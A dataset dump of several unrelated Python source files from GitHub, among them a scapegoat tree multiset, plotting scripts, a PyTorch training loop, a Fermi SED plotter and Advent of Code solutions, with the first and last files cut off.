else:\r\n node = node.right\r\n return res\r\n\r\n '''Find the smallest element > key, or None if it doesn't exist. / O(logN)'''\r\n def gt(self, key: T) -> Union[T, None]:\r\n res = None\r\n node = self.node\r\n while node is not None:\r\n if key < node.key:\r\n res = node.key\r\n node = node.left\r\n else:\r\n node = node.right\r\n return res\r\n\r\n '''Count the number of elements < key. / O(logN)'''\r\n def index(self, key: T) -> int:\r\n k = 0\r\n node = self.node\r\n while node is not None:\r\n if key == node.key:\r\n if node.left is not None:\r\n k += node.left.valsize\r\n break\r\n elif key < node.key:\r\n node = node.left\r\n else:\r\n k += node.val if node.left is None else node.left.valsize + node.val\r\n node = node.right\r\n return k\r\n\r\n '''Count the number of elements <= key. / O(logN)'''\r\n def index_right(self, key: T) -> int:\r\n k = 0\r\n node = self.node\r\n while node is not None:\r\n if key == node.key:\r\n k += node.val if node.left is None else node.left.valsize + node.val\r\n break\r\n elif key < node.key:\r\n node = node.left\r\n else:\r\n k += node.val if node.left is None else node.left.valsize + node.val\r\n node = node.right\r\n return k\r\n\r\n '''Count the number of keys < key. / O(logN)'''\r\n def index_keys(self, key: T) -> int:\r\n k = 0\r\n node = self.node\r\n while node:\r\n if key == node.key:\r\n if node.left is not None:\r\n k += node.left.size\r\n break\r\n elif key < node.key:\r\n node = node.left\r\n else:\r\n k += node.val if node.left is None else node.left.size + node.val\r\n node = node.right\r\n return k\r\n\r\n '''Count the number of keys <= key. / O(logN)'''\r\n def index_right_keys(self, key: T) -> int:\r\n k = 0\r\n node = self.node\r\n while node:\r\n if key == node.key:\r\n k += node.val if node.left is None else node.left.size + node.val\r\n break\r\n elif key < node.key:\r\n node = node.left\r\n else:\r\n k += node.val if node.left is None else node.left.size + node.val\r\n node = node.right\r\n return k\r\n\r\n def pop(self, k: int=-1) -> T:\r\n if k < 0: k += self.node.valsize\r\n x = self.__getitem__(k)\r\n self.discard(x)\r\n return x\r\n\r\n def popleft(self) -> T:\r\n return self.pop(0)\r\n\r\n def items(self):\r\n for i in range(self.len_elm()):\r\n yield self._kth_elm_tree(i)\r\n\r\n def keys(self):\r\n for i in range(self.len_elm()):\r\n yield self._kth_elm_tree(i)[0]\r\n\r\n def values(self):\r\n for i in range(self.len_elm()):\r\n yield self._kth_elm_tree(i)[1]\r\n\r\n def show(self) -> None:\r\n print('{' + ', '.join(map(lambda x: f'{x[0]}: {x[1]}', self.to_l_items())) + '}')\r\n\r\n def get_elm(self, k: int) -> T:\r\n return self._kth_elm_tree(k)[0]\r\n\r\n def len_elm(self) -> int:\r\n return 0 if self.node is None else self.node.size\r\n\r\n def to_l(self) -> List[T]:\r\n a = []\r\n if self.node is None:\r\n return a\r\n def rec(node):\r\n if node.left is not None:\r\n rec(node.left)\r\n a.extend([node.key]*node.val)\r\n if node.right is not None:\r\n rec(node.right)\r\n rec(self.node)\r\n return a\r\n\r\n def to_l_items(self) -> List[Tuple[T, int]]:\r\n a = []\r\n if self.node is None:\r\n return a\r\n def rec(node):\r\n if node.left is not None:\r\n rec(node.left)\r\n a.append((node.key, node.val))\r\n if node.right is not None:\r\n rec(node.right)\r\n rec(self.node)\r\n return a\r\n\r\n def __contains__(self, key: T):\r\n node = self.node\r\n while node is not None:\r\n if key == node.key:\r\n return True\r\n elif key < node.key:\r\n node = node.left\r\n else:\r\n node = node.right\r\n return False\r\n\r\n def __getitem__(self, k):\r\n return self._kth_elm(k)[0]\r\n\r\n def __iter__(self):\r\n self.__iter = 0\r\n return self\r\n\r\n def __next__(self):\r\n if self.__iter == self.__len__():\r\n raise StopIteration\r\n res = self._kth_elm(self.__iter)[0]\r\n self.__iter += 1\r\n return res\r\n\r\n def __reversed__(self):\r\n for i in range(self.__len__()):\r\n yield self._kth_elm(-i-1)[0]\r\n\r\n def __len__(self):\r\n return 0 if self.node is None else self.node.valsize\r\n\r\n def __bool__(self):\r\n return self.node is not None\r\n\r\n def __str__(self):\r\n return '{' + ', '.join(map(str, self.to_l())) + '}'\r\n\r\n def __repr__(self):\r\n return 'ScapegoatTreeMultiSet' + str(self)\r\n\r\n\r\n","repo_name":"titanium-22/_old_Library","sub_path":"DataStructures/BST/ScapegoatTree/ScapegoatTreeMultiSet.py","file_name":"ScapegoatTreeMultiSet.py","file_ext":"py","file_size_in_byte":11691,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"31803608432","text":"import matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D \nimport numpy as np\n\ndef readfile(Nx, Ny, Nz,step):\n filename = 'grainvol%d.txt' % step\n indata = np.loadtxt(filename, skiprows = 1)\n grainvol = np.zeros((Nx, Ny, Nz))\n for i in range(len(indata)):\n grainvol[int(indata[i,0]), int(indata[i, 1]), int(indata[i,2])] = indata[i, 3]\n \n return grainvol\n\ndef plot_3D(Nx = 64, Ny = 64, Nz = 64, Nstep = 800, Noutput = 20):\n grainvol_data = []\n for i in range(600, Nstep + Noutput, Noutput):\n grainvol = readfile(Nx, Ny, Nz, i)\n grainvol_data.append(grainvol)\n \n for i in range(len(grainvol_data)):\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n X, Y, Z = np.mgrid[:64, :64, :64]\n ax.scatter(X, Y, Z, c=grainvol_data[i].ravel())\n# plt.savefig(\"{i}.png\")\n plt.show()","repo_name":"zql11/polygrain_data_tool","sub_path":"Visualize_3D_Polygrain.py","file_name":"Visualize_3D_Polygrain.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"9669051030","text":"\"\"\"H2 tests for sched hash. See test_hash_func.py.\"\"\"\n\n__author__ = \"Tempesta Technologies, Inc.\"\n__copyright__ = \"Copyright (C) 2023 Tempesta Technologies, Inc.\"\n__license__ = \"GPL2\"\n\nfrom t_sched import test_hash_func\n\n\nclass HashSchedulerH2(test_hash_func.HashScheduler):\n clients = [\n {\n \"id\": \"deproxy\",\n \"type\": \"deproxy_h2\",\n \"addr\": \"${tempesta_ip}\",\n \"port\": \"443\",\n \"ssl\": True,\n }\n ]\n\n @staticmethod\n def _generate_request(uri):\n return [\n (\":authority\", \"example.com\"),\n (\":path\", f\"/resource-{uri}\"),\n (\":scheme\", \"https\"),\n (\":method\", \"GET\"),\n ]\n\n def test_hash_scheduler(self):\n super(HashSchedulerH2, self).test_hash_scheduler()\n","repo_name":"tempesta-tech/tempesta-test","sub_path":"t_sched/test_h2_hash_func.py","file_name":"test_h2_hash_func.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"78"}
+{"seq_id":"24295245456","text":"file = open(\"input.txt\", \"r\")\nrpsDic = {\"rock\": [\"paper\", 1], \"paper\": [\"scissors\", 2], \"scissors\" : [\"rock\", 3]}\nscore = 0\nfor line in file:\n lineTab = line\\\n .replace(\"\\n\", \"\")\\\n .replace(\"A\", \"rock\")\\\n .replace(\"B\", \"paper\")\\\n .replace(\"C\", \"scissors\")\\\n .replace(\"X\", \"rock\")\\\n .replace(\"Y\", \"paper\")\\\n .replace(\"Z\", \"scissors\")\\\n .split(\" \")\n\n if lineTab[0] == lineTab[1]:\n score += 3\n elif lineTab[0] != rpsDic[lineTab[1]][0]:\n score += 6\n score += rpsDic[lineTab[1]][1]\nprint(score)","repo_name":"SzymonLeja/AOC22","sub_path":"Day_02/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"29645553172","text":"#! /usr/bin/python3\n# coding=utf-8\n'''\n commonlib.py\n'''\n\nimport doctest\nimport time\nimport logging\nlogging.basicConfig(level=logging.DEBUG)\nimport platform\nimport sys\nimport os\nimport ctypes\nimport multiprocessing\nimport base64\n\ndef pyFormat(path):\n '''\n yapf -r -i -p /home/pv/Documents/toe --style=\"{based_on_style:pep8, column_limit:72, indent_width:2}\"\n '''\n pass\n\n\ndef getCpus():\n return (multiprocessing.cpu_count())\n\n\ndef getSystem():\n '''\n get system type\n return 87(Windows) or 76(Linux)\n '''\n return (ord(platform.system()[0]))\n\n\ndef spentTime(function):\n '''\n decorator spentTime\n '''\n\n def decoratorFun(*para):\n starttime = time.time()\n rt = function(*para)\n logging.debug('%s spentTime: ' % (function.__name__, ) + '%5.6f' %\n ((time.time() - starttime), ) + ' s.')\n return (rt)\n\n return (decoratorFun)\n\n\ndef subtract(a, b):\n '''\n >>> subtract(127,255)\n -128\n >>> subtract(255,127)\n 128\n '''\n return (a - b)\n\n\ndef floydAlgorithm(nm, pm, nodeNum):\n '''\n floyd nm:pathCast pm:nextHop nodeNum:nodeNumber\n '''\n for k in range(nodeNum):\n for i in range(nodeNum):\n for j in range(nodeNum):\n if ((nm[i][k] != -1) and (nm[k][j] != -1)\n and ((nm[i][k] + nm[k][j] < nm[i][j]) or (nm[i][j] == -1))):\n nm[i][j] = nm[i][k] + nm[k][j]\n pm[i][j] = pm[i][k]\n return (nm, pm)\n\n\n@spentTime\ndef fibonacci(a):\n '''\n fibonacci\n '''\n fibonacciDict = {0: 0, 1: 1}\n\n def f(n):\n nonlocal fibonacciDict\n if (n in fibonacciDict):\n return (fibonacciDict[n])\n else:\n rt = f(n - 2) + f(n - 1)\n fibonacciDict[n] = rt\n return (rt)\n\n return (f(a))\n\n\ndef detectCharSet(v_data):\n '''\n detect character set\n return member in ['utf-8','unicode','gb2312','gbk','gb18030','big5','us-ascii','unknow']\n '''\n t_types = [\n 'utf-8', 'unicode', 'gb2312', 'gbk', 'gb18030', 'big5',\n 'us-ascii', 'unknow'\n ]\n for t_codetype in t_types:\n try:\n v_data.decode(t_codetype)\n return (t_codetype)\n except:\n continue\n else:\n return ('unknow')\n\n\ndef crypto(v_str):\n '''\n String encryption or decryption with symmetric algorithm\n '''\n t_d = {}\n for t_c in (65, 97):\n for t_i in range(26):\n t_d[chr(t_i + t_c)] = chr((t_i + 13) % 26 + t_c)\n return ((''.join([t_d.get(t_c, t_c) for t_c in v_str])))\n\n\ndef base64Encode(vString):\n return(base64.b64encode(vString.encode('utf-8')).decode('utf-8'))\n\n\ndef base64Decode(vString):\n return(base64.b64decode(vString.encode('utf-8')).decode('utf-8'))\n \n \ndef msg(v_msg, v_rollmode=True, v_newlinemode=True):\n '''\n print msg with roll and newline\n '''\n t_ctime = time.strftime('[%Y-%m-%d_%H:%M:%S] ', time.localtime())\n t_msg = ('\\n' if (v_newlinemode) else '') + t_ctime + v_msg\n if (v_rollmode == False):\n sys.stdout.write('\\r' + (' ' * 80) + '\\r' + t_msg)\n else:\n print(t_msg)\n sys.stdout.flush()\n\n\ndef existMan(num, start, interval):\n def ex(num, start, interval):\n a = list(range(0, num))\n while (len(a) > (interval - 1)):\n b = a[start::interval]\n a = b\n return (a)\n\n def ex1(num):\n m = 1\n while ((2 * m) <= num):\n m *= 2\n return (m - 1)\n\n print(ex(num, start, interval))\n\ndef dispDataList(vList, maxValue=64):\n refData=max(vList)\n n=0\n for el0 in vList:\n n+=1\n print('%-4d'%(n,),'*'*int(maxValue*el0/refData))\n\n\ndef test():\n pass\n existMan(500, 1, 2)\n a = [[0, 10, 30, 50], [10, 0, 60, 20], [30, 60, 0, 40],\n [50, 20, 40, 0]]\n p = [[0, 1, 2, 3], [1, 0, 2, 3], [1, 2, 0, 3], [1, 2, 3, 0]]\n n = 4\n a, p = floydAlgorithm(a, p, n)\n print(a, p)\n\ndef arrayPrintFormat(array):\n if(type(array) == list and type(array[0]) == list):\n for el0 in array:\n arrayPrintFormat(el0)\n else:\n print(array)\n\n\nif (__name__ == '__main__'):\n dispDataList([1,3,4,2,45,5,12,1,2,44,33,22,0,99])\n arrayPrintFormat([[[1,5],[2,6]],[[[3,7],[4,8]]]])","repo_name":"xaviet/toe","sub_path":"commonlib/commonlib.py","file_name":"commonlib.py","file_ext":"py","file_size_in_byte":3932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"13380368713","text":"from re import A\n\n\nfinalconfig=[5,2,3]\nt=10\n# []=None,None,None\nans=[[None for i in range(len(finalconfig))]for j in range(t)]\n\n\n\nfor i in range(t):\n ptr=-1\n temp=[0]*len(finalconfig)\n tt=[0]*len(finalconfig)\n for j in range(len(finalconfig)):\n print(ans[i][j])\n\n\n\n # ptr+=1\n # p=j*i/t\n # pp=j*i//t\n # print(p,pp)\n # if int((p-pp)*10)==0:\n # # print('hi1',i)\n # temp[ptr]=pp\n # elif int((p-pp)*10)>=5:\n # # print('hi2',i)\n # temp[ptr]=pp+1\n # else:\n # # print('hi3',i)\n # temp[ptr]=pp\n # tt[ptr]=p\n\n\n # print(temp,sum(temp),i)\n # print(tt,i)\n \n\n # temp=[j*i/t for j in finalconfig]\n # print(temp)\n \n \n","repo_name":"Prithivi-Raj/MS-Project","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"23324959701","text":"from utils import *\nimport models\nimport torch.optim as optim\nfrom torch.utils.tensorboard import SummaryWriter\n\nfrom tqdm import tqdm\nimport json\n\ndef avg_ll(model, dataset_loader,device, return_lls=False):\n \"\"\"\n adapted from https://github.com/joshuacnf/Probabilistic-Generating-Circuits/blob/18700951ad18759e95ca85430da66042931b6c8b/pgc/train.py#L163\n \"\"\"\n lls = []\n dataset_len = 0\n model.eval()\n # is_multi = isinstance(model,models.multi_arrayPC)\n for x_batch in tqdm(dataset_loader,leave=True):\n # if is_multi:\n # x_batch = [i.to(device) for i in x_batch]\n # else:\n x_batch = x_batch.to(device)\n y_batch = model(x_batch)\n ll = torch.sum(y_batch)\n lls.append(ll.item())\n # if is_multi:\n # dataset_len += x_batch[0].shape[0]\n # else:\n dataset_len += x_batch.shape[0]\n if return_lls:\n return torch.Tensor(lls),dataset_len\n avg_ll = torch.sum(torch.Tensor(lls)).item() / dataset_len\n return avg_ll\n\ndef import_data(opt):\n\n return DatasetFromFile(opt.data),DatasetFromFile(opt.data,'valid'),DatasetFromFile(opt.data,'test')\n\ndef main(opt, data_pack):\n\n\n device_name=\"cuda:%d\"%opt.cuda if torch.cuda.is_available() else \"cpu\"\n device = torch.device(device_name)\n\n train_data, valid_data, test_data= data_pack\n train_dl, valid_dl, test_dl = DataLoader(train_data, batch_size=opt.batch_size),DataLoader(valid_data, batch_size=opt.batch_size),DataLoader(test_data, batch_size=opt.batch_size)\n if \"sum\" in opt.model:\n model = getattr(models, opt.model)(train_data.info, opt.group_num)\n else:\n model = getattr(models, opt.model)(train_data.info)\n model = model.to(device)\n is_multi = isinstance(model,models.multi_arrayPC) or isinstance(model,models.sum_arrayPCs)\n if is_multi:\n param = []\n for i in model.array_PCs:\n param += list(i.parameters())\n else:\n param = list(model.parameters())\n num_param = sum([torch.prod(torch.tensor(i.shape)).item() for i in param])\n print('number of param: %d'%num_param)\n optimizer = optim.SGD(param,opt.lr,opt.momentum,opt.weight_d) if opt.optimizer =='SGD' else optim.Adam(model.parameters(), lr=opt.lr, weight_decay=opt.weight_d)\n \n tb_writer = SummaryWriter(log_dir=opt.output_dir)\n \n hyperparam=vars(opt)\n hyperparam_file = open(opt.output_dir+\"/hyperparam.json\",\"w\")\n json.dump(hyperparam, hyperparam_file)\n hyperparam_file.close()\n\n log_file = opt.output_dir+\"/log.txt\"\n with open(log_file, 'a+') as f:\n f.write('number of param: %d \\n'%(num_param))\n with torch.autograd.set_detect_anomaly(True):\n for epoch in range(1, opt.epoch + 1):\n \n model.train()\n losses=[]\n num_items = []\n for x_batch in tqdm(train_dl,leave=True):\n \n # if is_multi and isinstance(model,models.multi_arrayPC):\n # x_batch = [i.to(device) for i in x_batch]\n # else:\n x_batch = x_batch.to(device)\n y_batch = model(x_batch)\n loss = nll(y_batch)\n losses.append(loss)\n # if is_multi and isinstance(model,models.multi_arrayPC):\n # num_items.append(x_batch[0].shape[0])\n # else:\n num_items.append(x_batch.shape[0])\n optimizer.zero_grad()\n # loss.backward(inputs=list(model.parameters()))\n loss.backward()\n optimizer.step()\n \n\n #logging performance/testing \n \n # avg_loss = sum(losses)/len(losses) #avg loss for each epoch\n avg_loss = sum(losses)/sum(num_items) #avg loss for example\n print('Dataset {}; Epoch {}, avg Loss per example: {}'.format(opt.data, epoch, avg_loss))\n tb_writer.add_scalar(\"%s/avg_loss\"%\"train\", avg_loss, epoch)\n # compute likelihood on train, valid and test\n train_ll = -avg_loss\n\n valid_ll = avg_ll(model, valid_dl,device)\n \n # test_ll = avg_ll(model, test_dl)\n\n tb_writer.add_scalar(\"%s/avg_ll\"%\"train\", -avg_loss, epoch)\n tb_writer.add_scalar(\"%s/avg_ll\"%\"valid\", valid_ll, epoch)\n \n with open(log_file, 'a+') as f:\n f.write('%s Epoch: %d train: %.5f validation: %.5f \\n'%(opt.model, epoch, train_ll, valid_ll))\n torch.save({\n 'epoch': epoch,\n \n 'model':model.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'loss': avg_loss,\n \n }, opt.output_dir+\"/end_chpt.pt\")\n\n\n\n test_ll = avg_ll(model, test_dl,device)\n with open(log_file, 'a+') as f:\n f.write('End test: %.5f \\n'%test_ll)\n tb_writer.add_scalar(\"%s/avg_ll\"%\"test\", test_ll, epoch)\n \n #save at the end of the epoch\n torch.save({\n 'epoch': epoch,\n \n 'model':model.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'loss': avg_loss,\n \n }, opt.output_dir+\"/end_chpt.pt\")\n return model\n \n\n\nif __name__==\"__main__\":\n opt = parse_args()\n process_opt(opt)\n if len(opt.sanity_check) !=0:\n from sanity_check_gen import *\n\n sanity_check_param = [int(i) for i in opt.sanity_check.split(',')]\n sanity_check_gen(sanity_check_param[0],sanity_check_param[1]) #generate sanity check data \n pack = import_data(opt)\n main(opt, pack)\n print('done')\n","repo_name":"candicexxx-droid/sparsity_model","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"8738752255","text":"\"\"\"\nManage plotting of the band energy flux and model\n\n$Header: /nfs/slac/g/glast/ground/cvs/pointlike/python/uw/like/sed_plotter.py,v 1.25 2012/09/12 21:49:56 lande Exp $\n\nauthor: Toby Burnett \n\n\"\"\"\nimport os,sys\nfrom uw.like import roi_bands\nfrom uw.like.roi_extended import BandFitExtended\nfrom uw.like.Models import PowerLaw, LogParabola\nfrom uw.utilities import makerec, image\nimport numpy as np\nimport pylab as plt\n\n \nclass BandFlux(object):\n\n def __init__(self, roi, which=0, merge=True, scale_factor=1.0):\n \"\"\" extracted from roi_plotting\n roi: has a list of ROIEnergyBand objects (only dependence)\n which: \n merge: flag to merge adjacent upper and lower bands with upper limits only\n scale_factor [1.0] used to scale flux units\n \"\"\"\n self.which = which\n self.manager,self.index=roi.mapper(which)\n self.roi = roi\n\n roi.setup_energy_bands()\n self.bands = roi.energy_bands\n self.scale_factor = scale_factor \n centers = np.array([(b.emin*b.emax)**0.5 for b in self.bands])\n\n for eb in self.bands:\n if self.manager == roi.psm:\n eb.bandFit(which=self.index)\n else:\n BandFitExtended(self.index,eb,self.roi).fit()\n\n eb.merged = False\n\n \n checkbound = lambda x: x.lflux> 1e-15 \n if merge:\n # this function decides if there is a measurement, meaning the lower flux is finite\n # count in from high end to find how many high energy bins have no measurements\n for nhi,neb in enumerate(self.bands[::-1]):\n if checkbound(neb): break\n\n # count in from low end to find how many low energy bins have no measurements\n for nlo,neb in enumerate(self.bands):\n if checkbound(neb): break\n else:\n nlo = nhi = 0\n \n nt = len(self.bands)\n if nlo != nt-1:\n eblo = [self.merge(0,nlo)] if nlo>0 else []\n ebhi = [self.merge(nt-nhi, nt)] if nhi>0 else []\n\n # the truncated list of bands\n bands = eblo + self.bands[nlo:nt-nhi] + ebhi\n else:\n # Merge all bands\n bands = [self.merge(0,nt-1)]\n\n # Save info for plots or print in a recarray\n rec = makerec.RecArray('elow ehigh flux lflux uflux'.split())\n for eb in bands:\n\n xlo,xhi = eb.emin,eb.emax\n fac = xlo*xhi * scale_factor # note the scale is here, perhaps to ergs\n bc = (xlo*xhi)**0.5\n hw = (xhi-xlo)/2.\n if eb.merged: hw /= eb.num\n \n if checkbound(eb): \n rec.append(xlo, xhi, fac*eb.flux, fac*eb.lflux, fac*eb.uflux)\n else:\n rec.append(xlo, xhi, 0, 0, fac*eb.uflux)\n \n self.rec = rec()\n \n def merge(self, n1, n2):\n \"\"\"merge the set of bands into a new ROIEnergyBand\n n1, n2 -- band indices to mege\n \"\"\"\n hbands = []\n ebands = self.bands[n1:n2]\n for eb in ebands:\n for band in eb.bands:\n hbands.append(band)\n ebmerged = roi_bands.ROIEnergyBand(hbands)\n\n if self.manager == self.roi.psm:\n ebmerged.bandFit(which=self.index) # a new fit\n else:\n BandFitExtended(self.index,ebmerged,self.roi).fit()\n\n ebmerged.merged = True\n ebmerged.num = len(ebands)\n return ebmerged\n\n def __call__(self, emin, emax):\n \"\"\" call: return total ROIEnergyBand in given range\n \n \"\"\"\n hbands = []\n num = 0\n for eb in self.bands:\n if eb.emin>emin/1.01 and eb.emax0:\n axes.plot([xl,xh], [r.flux, r.flux], **kwargs)\n axes.plot([bc,bc], [r.lflux,r.uflux], **kwargs)\n else:\n x,y = bc, r.uflux\n axes.plot([xl,xh], [y,y] , **kwargs) # bar at upper limit\n # plot arrow 0.6 long by 0.4 wide, triangular head (in log coords)\n axes.plot([x, x, x*1.2, x, x/1.2, x],\n [y, y*0.6, y*0.6, y*0.4, y*0.6, y*0.6], **kwargs)\n if printout:\n print ('%s %s %s %s %s'%(lsp(int(round(xl))),lsp(int(round(xh))),lsp('%.3g'%r.flux,8),lsp('%.3g'%r.lflux,8),lsp('%.3g'%r.uflux,8)))\n \n \n def plot_model(self, axes, m, dom, butterfly, **kwargs):\n \"\"\" \n m: the model, implements Models.Model\n dom: the domain, a set of points\n butterfly: bool, \n kwargs: pass to the line to plot\n \"\"\"\n stat = m.statistical()\n err = stat[0]*stat[1]\n energy_flux_factor = self.scale_factor\n\n if hasattr(m,'e0'):\n # show position of e0 \n e0 = m.e0\n flux = m(e0); flux_unc = flux*stat[1][0]\n axes.errorbar([e0], \n [energy_flux_factor*flux * m.e0**2], fmt='or', \n yerr=energy_flux_factor*flux_unc * m.e0**2, elinewidth=2, markersize=8)\n\n # plot the curve\n axes.plot( dom, energy_flux_factor*m(dom)*dom**2, **kwargs)\n #butterfly if powerlaw\n if butterfly and isinstance(m,PowerLaw) or isinstance(m,LogParabola) and m[2]<=1e-3:\n # 'butterfly' region\n e0 = m.e0 if isinstance(m,PowerLaw) else m['e_break']\n dom_r = np.array([dom[-i-1] for i in range(len(dom))]) #crude reversal.\n a,gamma = stat[0][:2]\n var = err**2\n # r is e/e0\n bfun = lambda r: r**-gamma * np.sqrt(var[0] + (a*np.log(r))**2 * var[1])\n upper = energy_flux_factor*(m(dom) + bfun(dom/e0) )*dom**2\n lower = energy_flux_factor*(m(dom_r)/(1 +bfun(dom_r/e0)/m(dom_r)))*dom_r**2\n ymin, ymax = plt.gca().get_ylim()\n lower[lowerymax] = ymax\n t =axes.fill(np.hstack( [dom, dom_r] ), \n np.hstack( [upper, lower] ), 'r')\n t[0].set_alpha(0.4)\n \n \ndef plot_sed(roi, which=0, fignum=5, axes=None,\n axis=None, #(1e2,1e6,1e-8,1e-2),\n data_kwargs=dict(linewidth=2, color='k',),\n fit_kwargs =dict(lw=2, color='r',),\n butterfly = True,\n use_ergs = False,\n energy_flux_unit = None,\n gev_scale = True,\n outdir = None,\n galmap = True,\n phase_corr=False,\n printout=False,\n title=None,\n merge=True,\n ):\n \"\"\"Plot a SED\n ======== ===================================================\n keyword description\n ======== ===================================================\n roi a ROIAnalysis object\n which [0] index of source to plot\n fignum [5] if set, use (and clear) this figure. If None, \n use current Axes object\n axes [None] If set use this Axes object\n axis None, (80, 5e5, 1e-7, 1e-2) depending on use_ergs\n data_kwargs a dict to pass to the data part of the display\n fit_kwargs a dict to pass to the fit part of the display\n butterfly [True] plot model with a butterfly outline\n use_ergs [True] convert to ergs in the flux units (instead of MeV)\n energy_flux_unit [None] If specified, one of 'erg', 'MeV', 'eV' or 'GeV': otherwise\n set to 'erg' or 'MeV' based on use_ergs\n gev_scale [True] use GeV instead of MeV units on x-axis\n outdir [None] if set, save sed into \n /_sed.png if outdir is a \n directory, save into filename= if not.\n galmap [True] plot position on galactic map if set\n phase_corr [False] multiply sed by phase_factor; appropriate \n for an on-pulse spectral analysis\n printout [False] if True, print the sed points to stdout\n title [None] Title for the plot, if specified. Otherwise, \n use source name\n merge merge upper limits on edge.\n ======== ===================================================\n \n \"\"\"\n self = roi # temp.\n if energy_flux_unit is None:\n energy_flux_unit = 'erg' if use_ergs else 'MeV'\n assert energy_flux_unit in ('erg', 'MeV', 'GeV', 'eV') , 'unrecognized energy flux unit'\n energy_flux_factor = dict(erg=1.602e-6, MeV=1, eV=1e6, GeV=1e-3)[energy_flux_unit]\n if phase_corr: energy_flux_factor *=roi.phase_factor\n # conversion 1.602E-19 * 1E6 eV/Mev * 1E7 erg/J * = 1.602E-6 erg/MeV\n oldlw = plt.rcParams['axes.linewidth']\n plt.rcParams['axes.linewidth'] = 2\n if axes is None: \n fig=plt.figure(fignum, figsize=(4,4)); plt.clf()\n fig.add_axes((0.22,0.15,0.75,0.72))\n axes = plt.gca()\n axes.set_xscale('log')\n axes.set_yscale('log')\n if axis is None:\n axis = (80, 5e5, 1e-7*energy_flux_factor,1e-2*energy_flux_factor) \n axes.axis(axis)\n axes.grid(True)\n axes.set_autoscale_on(False)\n \n # create a BandFlux, and have it plot the band fluxes, merging adjacent limits at the ends\n bf = BandFlux(self, which=which, merge=merge, scale_factor= energy_flux_factor)\n data_kwargs['printout'] = printout\n bf.plot_data(axes, **data_kwargs)\n\n source = roi.get_source(which)\n model = source.model\n name = source.name\n \n # and the model, perhaps with a butterfly\n dom = np.logspace(np.log10(roi.fit_emin[0]), np.log10(roi.fit_emax[0]), 101)\n bf.plot_model(axes, model, dom, butterfly, **fit_kwargs)\n plt.rcParams['axes.linewidth'] = oldlw\n\n # the axis labels\n plt.ylabel(r'$\\mathsf{Energy\\ Flux\\ (%s\\ cm^{-2}\\ s^{-1})}$' % energy_flux_unit)\n def gevticklabel(x):\n if x<100 or x>1e5: return ''\n elif x==100: return '0.1'\n return '%d'% (x/1e3)\n if gev_scale:\n \"\"\" make it look nicer \"\"\"\n axes.set_xticklabels(map(gevticklabel, axes.get_xticks()))\n axes.set_xlabel(r'$\\mathsf{Energy\\ (GeV)}$')\n else:\n axes.set_xlabel(r'$\\mathsf{Energy\\ (MeV)}$')\n\n plt.title(name if title is None else title)\n \n # a galactic map if requested\n if galmap: image.galactic_map(roi.roi_dir, color='lightblue', marker='o', markercolor='r')\n \n if outdir is not None: \n if os.path.isdir(outdir):\n fname = name.replace(' ','_').replace('+','p')\n plt.savefig(os.path.join(outdir,'%s_sed.png'%fname))\n else :\n plt.savefig(outdir)\n\n return bf\n\n","repo_name":"fermi-lat/pointlike","sub_path":"python/uw/like/sed_plotter.py","file_name":"sed_plotter.py","file_ext":"py","file_size_in_byte":11705,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"4662078709","text":"import os\n\nclass Monkey:\n\n def __init__(self, name, starting_items, operation, test):\n self.name = name\n self.items = starting_items\n self.operation = operation\n self.test = test\n self.true_monkey = None\n self.false_monkey = None\n self.inspections = 0\n\n def get_name(self):\n return self.name\n\n def get_items(self):\n return self.items\n\n def get_test(self):\n return self.test\n\n def get_inspections(self):\n return self.inspections\n\n def set_true_monkey(self, true_monkey):\n self.true_monkey = true_monkey\n\n def set_false_monkey(self, false_monkey):\n self.false_monkey = false_monkey\n\n def turn_1(self):\n for old in self.items:\n self.inspections += 1\n old = (eval(self.operation)) // 3\n if(old % self.test == 0):\n self.true_monkey.catch(old)\n else:\n self.false_monkey.catch(old)\n self.items = []\n\n def turn_2(self):\n for old in self.items:\n self.inspections += 1\n new = eval(self.operation)\n mod = new % self.test\n if(mod == 0.0):\n self.true_monkey.catch(new)\n else:\n self.false_monkey.catch(new)\n self.items = []\n\n def catch(self, item):\n self.items.append(item)\n\n def adjust_stress(self, test_product):\n for i in range(len(self.items)):\n self.items[i] = self.items[i] % test_product\n\ndef crop_line(lines, lines_per_monkey, index, element):\n return lines[lines_per_monkey * index + element].replace(\",\", \"\").replace(\"\\n\", \"\")\n\ndef get_monkey_by_name(monkeys, name):\n for monkey in monkeys:\n if(monkey.get_name() == name):\n return monkey\n return None\n\ndef init_monkeys():\n with open(os.path.dirname(__file__) + '/data.txt') as file:\n lines = file.readlines()\n lines_per_monkey = 7\n monkeys = []\n for i in range(len(lines) // lines_per_monkey):\n starting_items = [eval(x) for x in crop_line(lines, lines_per_monkey, i, 1).split(\" \")[4:]]\n operation = crop_line(lines, lines_per_monkey, i, 2)[19:]\n test = int(crop_line(lines, lines_per_monkey, i, 3).split(\" \")[-1])\n new_monkey = Monkey(i, starting_items, operation, test)\n monkeys.append(new_monkey)\n for i in range(len(lines) // lines_per_monkey):\n current_monkey = get_monkey_by_name(monkeys, i)\n true_monkey = get_monkey_by_name(monkeys, int(crop_line(lines, lines_per_monkey, i, 4)[-1]))\n false_monkey = get_monkey_by_name(monkeys, int(crop_line(lines, lines_per_monkey, i, 5)[-1]))\n current_monkey.set_true_monkey(true_monkey)\n current_monkey.set_false_monkey(false_monkey)\n return monkeys\n\ndef 